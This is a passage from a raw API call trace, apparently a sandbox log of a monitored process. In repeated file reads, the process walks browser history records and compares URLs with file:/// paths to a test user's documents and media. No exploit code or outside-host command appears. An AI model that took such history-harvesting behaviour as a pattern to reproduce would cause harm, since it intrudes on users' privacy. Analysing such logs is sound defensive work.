returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned 1 [0069.139] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.139] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/" [0069.139] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.140] _strlwr (in: _Str="https://support.microsoft.com/en-us/products/internet-explorer" | out: _Str="https://support.microsoft.com/en-us/products/internet-explorer") returned="https://support.microsoft.com/en-us/products/internet-explorer" [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 1 [0069.140] SetFilePointer (in: hFile=0xc8, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480 [0069.140] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.140] _strlwr (in: _Str="https://support.microsoft.com/products/internet-explorer" | out: _Str="https://support.microsoft.com/products/internet-explorer") returned="https://support.microsoft.com/products/internet-explorer" [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.140] _strlwr (in: _Str="https://support.microsoft.com/en-us/products/internet-explorer" | out: _Str="https://support.microsoft.com/en-us/products/internet-explorer") returned="https://support.microsoft.com/en-us/products/internet-explorer" [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.140] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/" [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.140] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/" [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.140] SetFilePointer (in: hFile=0xc8, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980 [0069.140] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.140] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00 [0069.140] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.140] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80 [0069.140] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.140] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00 [0069.140] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.140] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80 [0069.140] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.140] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.140] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0069.140] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.141] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c80 [0069.141] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.141] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00 [0069.141] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.141] SetFilePointer (in: hFile=0xc8, lDistanceToMove=23936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d80 [0069.141] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.141] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00 [0069.141] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.141] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80 [0069.141] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.141] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00 [0069.141] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.141] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80 [0069.141] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.141] SetFilePointer (in: hFile=0xc8, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0069.141] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.141] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/" [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.141] _strlwr (in: _Str="http://www.google.de/" | out: _Str="http://www.google.de/") returned="http://www.google.de/" [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.141] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/" [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.141] _strlwr (in: _Str="http://google.com" | out: _Str="http://google.com") returned="http://google.com" [0069.141] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.142] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/" [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6780 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6880 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.142] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80 [0069.142] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.142] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7080 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7180 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.143] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200 [0069.143] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.143] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7280 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, 